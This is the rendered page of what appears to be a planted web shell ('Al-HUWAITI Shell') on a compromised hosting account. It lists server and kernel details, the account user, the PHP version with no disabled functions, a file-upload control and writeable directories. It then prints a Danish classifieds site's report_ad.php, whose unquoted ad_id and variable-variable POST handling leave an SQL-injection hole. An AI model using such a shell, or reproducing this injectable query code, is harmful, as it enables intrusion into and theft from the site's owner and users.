Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/annoncelights.dk/public_html/services/user_detail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/annoncelights.dk/public_html/services/user_detail/report_ad.php
<?php
	include "../../db_connection.php";
	include "../../sessioncheck.php";
	if(isset($_POST['ad_id']) && !empty($_POST['ad_id']) && isset($_POST['reason']) && !empty($_POST['reason'])){
		if(isset($_SESSION['id']) && !empty($_SESSION['id'])){
			foreach ($_POST as $key => $val) {
		        if (!is_array($val)){
					$$key = mysqli_real_escape_string($connection, $val);
				}
		    }
			$reportQry = "INSERT INTO `report_ads` SET user_id=".$_SESSION['id'].", ad_id=".$ad_id.", reason='".$reason."', created_at='".date('Y-m-d H:i:s')."'";
			$reportResult=mysqli_query($connection,$reportQry);
		}
	}
?>

Al-HUWAITI Shell